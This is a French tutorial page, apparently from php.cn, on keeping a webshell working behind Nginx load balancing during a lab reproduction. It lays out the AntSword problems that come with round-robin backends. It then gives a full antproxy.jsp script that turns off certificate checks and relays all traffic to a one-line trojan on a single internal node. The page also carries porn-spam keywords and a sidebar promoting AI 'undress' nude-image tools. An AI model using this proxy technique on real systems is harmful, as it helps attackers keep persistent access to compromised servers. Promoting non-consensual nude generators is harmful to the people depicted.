国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Table des matières
Description du scénario
Installation de l'environnement
Problèmes dans le processus de reproduction
Solution
Maison Opération et maintenance Nginx Comment implémenter le téléchargement WebShell sous l'équilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous l'équilibrage de charge Nginx

May 16, 2023 am 08:16 AM
nginx webshell

Description du scénario

Supposons que dans un environnement de production réel, il existe une vulnérabilité RCE, qui nous permet d'obtenir WebShell

Installation de l'environnement

Tout d'abord, avant d'extraire l'image vulnérable sur GetHub, nginx et tomcat doivent être installés sur centos à l'avance. Configurez les fichiers de configuration pertinents de nginx et de Tomcat, et utilisez Docker pour extraire l'image afin de reproduire la vulnérabilité.

1. Configurez d'abord l'environnement Docker

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

2. Testez si Tomcat est accessible

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comme vous pouvez le voir sur l'image ci-dessus, le back-end Tomcat est accessible

3. Réponse nginx dans Docker équilibrage de charge vers l'agent

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

4. Affichez le fichier ant.jsp dans lbsnode1 dans docker

Ce fichier peut être compris comme un cheval de Troie d'une phrase, et le même fichier existe également dans lbsnode2

. lbsnode1:

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

lbsnode2:

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

5. Connectez le fichier ant.jsp via China Ant Sword

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Parce que les deux n?uds ont ant.jsp au même endroit, il n'y a aucune exception lors de la connexion

Problèmes dans le processus de reproduction

Problème 1 : étant donné que le proxy inverse utilisé par nginx est une méthode d'interrogation, le fichier téléchargé doit être téléchargé au même emplacement sur les deux serveurs backend

Parce que nous chargeons le proxy inverse l'équilibrage implique le téléchargement de fichiers. Un serveur principal a le fichier que nous avons téléchargé, mais l'autre serveur n'a pas le fichier que nous avons téléchargé. Le résultat est qu'une fois qu'il n'y a plus de fichier sur un serveur, alors dans la requête, c'est au tour du serveur. , une erreur 404 sera signalée, ce qui affectera son utilisation. C'est pourquoi cela semble normal pendant un certain temps et des erreurs apparaissent pendant un certain temps.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Solution?:

Nous devons télécharger un WebShell avec le même contenu au même emplacement sur chaque n?ud, afin que notre serveur backend soit accessible quel que soit le serveur interrogé. Pour télécharger des fichiers sur chaque serveur back-end, vous devez les télécharger comme un fou.

Question 2?: Lorsque nous exécutons la commande, nous n'avons aucun moyen de savoir à quelle machine la prochaine requête sera transmise pour exécution

Lorsque nous exécutons hostname -i pour afficher l'adresse IP de la machine d'exécution actuelle, nous peut voir que l'adresse IP a dérivé

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Problème 3?: Lorsque nous devons télécharger des outils plus volumineux, les outils deviendront inutilisables

Lorsque nous téléchargeons un fichier plus volumineux, AntSword utilise le fractionnement lors du téléchargement de fichiers. La méthode de téléchargement slice divise un fichier en plusieurs requêtes HTTP et les envoie à la cible, ce qui fait qu'une partie du fichier se trouve sur le serveur A et l'autre partie du fichier sur le serveur B, rendant impossible l'ouverture d'outils ou de fichiers plus volumineux ou Utilisation

Question 4?: étant donné que l'h?te cible ne peut pas sortir d'Internet, si vous souhaitez aller plus loin, vous ne pouvez utiliser qu'un tunnel HTTP tel que reGeorg/HTTPAbs. Cependant, dans ce scénario, tous ces scripts de tunnel échouent.

Solution

Option 1?: Arrêtez l'un des serveurs back-end

L'arrêt de l'un des serveurs back-end peut en effet résoudre les quatre problèmes ci-dessus, mais cette solution consiste en réalité à "accrocher son anniversaire-- " "J'en ai marre de vivre" affectera l'entreprise et provoquera des désastres, donc je n'envisagerai pas de le passer directement

évaluation complète : ne l'essayez pas dans de telles circonstances ! ! !

Option 2?: Déterminer s'il faut exécuter le programme avant de l'exécuter

Puisqu'il est impossible de prédire quelle machine l'exécutera la prochaine fois, alors avant que notre shell n'exécute la charge utile, nous pouvons d'abord déterminer si elle doit être exécuté.

Créez un script demo.sh pour la première fois. Ce script sert à obtenir l'adresse de l'un de nos serveurs back-end. Le programme ne sera exécuté que s'il correspond à l'adresse de ce serveur. un autre serveur, le programme ne sera pas exécuté.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Téléchargez le fichier de script demo.sh sur les deux serveurs principaux via China Ant Sword. Parce qu'il s'agit d'un équilibrage de charge, vous devez cliquer comme un fou pour télécharger

.

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

De cette fa?on, nous pouvons en effet garantir que la commande exécutée est sur la machine que nous voulons. Cependant, il n'y a aucune beauté à exécuter la commande de cette manière. De plus, des problèmes tels que le téléchargement de fichiers volumineux et. Les tunnels HTTP n'ont pas été résolus.

évaluation complète : Cette solution est à peine utilisable. Elle ne convient que pour une utilisation lors de l'exécution de commandes et n'est pas assez élégante.

Option 3?: Transférer le trafic HTTP dans la couche Web (point clé)

Oui, nous ne pouvons pas accéder directement au port 8080 de l'IP intranet LBSNode1 (172.23.0.2) à l'aide d'AntSword, mais quelqu'un peut y accéder. en plus de nginx pouvant y accéder, la machine LBSNode2 peut également accéder au port 8080 de la machine Node1.

Vous souvenez-vous encore du plug-in "PHP Bypass Disable Function" ? Après l'avoir chargé dans ce plug-in, nous avons démarré un serveur http localement, puis nous avons utilisé le script de transfert de trafic au niveau HTTP "antproxy.php" , que nous avons placé Regardez ce scénario?:

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Regardons cette image étape par étape. Notre objectif est?: Tous les paquets de données peuvent être envoyés à la machine "LBSNode 1"

La première étape est l'étape 1. , nous demandons /antproxy.jsp, cette requête est envoyée à nginx

Après que nginx ait re?u le paquet de données, il y aura deux situations?:

Regardons d'abord la ligne noire. La deuxième étape transmet la requête à la machine cible et. demande la machine Node1. /antproxy.jsp, puis à l'étape 3, /antproxy.jsp réorganise la requête et la transmet à /ant.jsp sur la machine Node1, qui est exécutée avec succès.

Regardez à nouveau la ligne rouge. à l'étape 2, la requête est transmise à la machine Node2 Puis à l'étape 3, /antproxy.jsp sur la machine Node2 réorganise la requête et la transmet à /ant.jsp de Node1, qui. est exécuté avec succès.

1. Créez le script antproxy.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. Modifiez l'adresse de transfert et redirigez-la vers l'adresse d'accès du script cible de l'IP intranet du n?ud cible.

Remarque?: Non seulement WebShell, mais également l'adresse d'accès de scripts tels que reGeorg peuvent être modifiés

Nous avons pointé la cible vers ant.jsp de LBSNode1

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Remarque?:

a) Faire Si vous n'utilisez pas la Fonction de téléchargement, la fonction de téléchargement sera téléchargée en morceaux, ce qui la dispersera sur différents n?uds.

b) Pour m'assurer que chaque n?ud a le même chemin vers antproxy.jsp, je l'ai donc enregistré plusieurs fois pour m'assurer que chaque n?ud a téléchargé le script

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

3. Modifiez le shell. configuration, remplissez la partie URL comme adresse de antproxy.jsp et laissez les autres configurations inchangées

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

4 Testez la commande d'exécution, vérifiez l'IP

Comment implémenter le téléchargement WebShell sous léquilibrage de charge Nginx

Vous pouvez voir que l'IP a. a été corrigé, ce qui signifie que la requête a été corrigée sur la machine LBSNode1. à l'heure actuelle, l'utilisation du téléchargement en plusieurs parties et du proxy HTTP n'est pas différente de la situation autonome. Avantages de cette solution?:

1 Elle peut être effectuée avec de faibles autorisations. Si les autorisations sont élevées, cela peut également l'être. effectué directement via le niveau du port, mais cela n'est pas différent des services associés du Plan A

2. En termes de trafic, cela n'affecte que les demandes d'accès à WebShell, et les autres demandes commerciales normales ne seront pas affectées.

3. Adapter plus d'outils

Inconvénients?:

Cette solution nécessite une interopérabilité intranet entre le "N?ud cible" et "l'autre N?ud". S'ils ne sont pas interopérables, cela ne servira à rien.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefa?on, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Article chaud

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1502
276
Nginx vs Apache: une analyse comparative des serveurs Web Nginx vs Apache: une analyse comparative des serveurs Web Apr 21, 2025 am 12:08 AM

Nginx convient plus à la gestion des connexions simultanées élevées, tandis qu'Apache convient plus aux scénarios où des configurations complexes et des extensions de module sont nécessaires. 1.Nginx est connu pour ses performances élevées et sa faible consommation de ressources, et convient à une concurrence élevée. 2.Apache est connu pour sa stabilité et ses riches extensions de modules, qui conviennent aux besoins de configuration complexes.

Nginx et Apache: comprendre les principales différences Nginx et Apache: comprendre les principales différences Apr 26, 2025 am 12:01 AM

Nginx et Apache ont chacun leurs propres avantages et inconvénients, et le choix doit être basé sur des besoins spécifiques. 1.Nginx convient aux scénarios de concurrence élevés en raison de son architecture asynchrone non bloquant. 2. Apache convient aux scénarios à faible monnaie qui nécessitent des configurations complexes, en raison de sa conception modulaire.

Comment exécuter le code PHP après avoir écrit du code PHP? Plusieurs fa?ons courantes d'exécuter le code PHP Comment exécuter le code PHP après avoir écrit du code PHP? Plusieurs fa?ons courantes d'exécuter le code PHP May 23, 2025 pm 08:33 PM

Le code PHP peut être exécuté de plusieurs manières: 1. Utilisez la ligne de commande pour entrer directement le "nom de fichier PHP" pour exécuter le script; 2. Mettez le fichier dans le répertoire racine du document et accédez-y via le navigateur via le serveur Web; 3. Exécutez-le dans l'IDE et utilisez l'outil de débogage intégré; 4. Utilisez le bac à sable PHP en ligne ou la plate-forme d'exécution de code pour les tests.

Après avoir installé Nginx, le chemin du fichier de configuration et les paramètres initiaux Après avoir installé Nginx, le chemin du fichier de configuration et les paramètres initiaux May 16, 2025 pm 10:54 PM

La compréhension du chemin du fichier de configuration de Nginx et des paramètres initiaux est très importante car il s'agit de la première étape dans l'optimisation et la gestion d'un serveur Web. 1) Le chemin du fichier de configuration est généralement /etc/nginx/nginx.conf. La syntaxe peut être trouvée et testée à l'aide de la commande nginx-t. 2) Les paramètres initiaux incluent les paramètres globaux (tels que l'utilisateur, worker_processs) et les paramètres HTTP (tels que l'inclusion, log_format). Ces paramètres permettent la personnalisation et l'extension en fonction des exigences. Une configuration incorrecte peut entra?ner des problèmes de performances et des vulnérabilités de sécurité.

Comment limiter les ressources des utilisateurs dans Linux? Comment configurer Ulimit? Comment limiter les ressources des utilisateurs dans Linux? Comment configurer Ulimit? May 29, 2025 pm 11:09 PM

Linux System restreint les ressources utilisateur via la commande UliMIT pour éviter une utilisation excessive des ressources. 1.Ulimit est une commande shell intégrée qui peut limiter le nombre de descripteurs de fichiers (-n), la taille de la mémoire (-v), le nombre de threads (-u), etc., qui sont divisés en limite douce (valeur effective actuelle) et limite dure (limite supérieure maximale). 2. Utilisez directement la commande ulimit pour une modification temporaire, telle que Ulimit-N2048, mais elle n'est valable que pour la session en cours. 3. Pour un effet permanent, vous devez modifier /etc/security/limits.conf et les fichiers de configuration PAM, et ajouter SessionRequiredPam_limits.so. 4. Le service SystemD doit définir Lim dans le fichier unitaire

Quelles sont les compétences de configuration Debian Nginx? Quelles sont les compétences de configuration Debian Nginx? May 29, 2025 pm 11:06 PM

Lors de la configuration de Nginx sur Debian System, les éléments suivants sont quelques conseils pratiques: la structure de base des paramètres globaux du fichier de configuration: définir les paramètres comportementaux qui affectent l'intégralité du service NGINX, tel que le nombre de threads de travail et les autorisations d'utilisateurs en cours d'exécution. Pièce de gestion des événements: Décider comment Nginx s'occupe des connexions réseau est une configuration clé pour améliorer les performances. Pièce de service HTTP: contient un grand nombre de paramètres liés au service HTTP et peut intégrer plusieurs serveurs et blocs de localisation. Options de configuration de base Worker_Connections: Définissez le nombre maximal de connexions que chaque thread de travailleur peut gérer, généralement définie sur 1024. Multi_accept: activez le mode de réception multi-connexion et améliorez la capacité de traitement simultané. s

Objectif de Nginx: servir du contenu Web et plus Objectif de Nginx: servir du contenu Web et plus May 08, 2025 am 12:07 AM

Nginxservceswebcontentandactsasareverseproxy, loadBalancer et m /r.1) itefficientlyServisetaticContent likehtmlandimages.2) itfunctionsasareverseproxyandloadBalancer, distribution.

Dépannage de Nginx: diagnostic et résolution des erreurs communes Dépannage de Nginx: diagnostic et résolution des erreurs communes May 05, 2025 am 12:09 AM

Le diagnostic et les solutions pour les erreurs courantes de Nginx incluent: 1. Afficher les fichiers journaux, 2. Ajuster les fichiers de configuration, 3. Optimiser les performances. En analysant les journaux, en ajustant les paramètres de délai d'expiration et en optimisant le cache et l'équilibrage de la charge, des erreurs telles que 404, 502, 504 peuvent être efficacement résolues pour améliorer la stabilité et les performances du site Web.

See all articles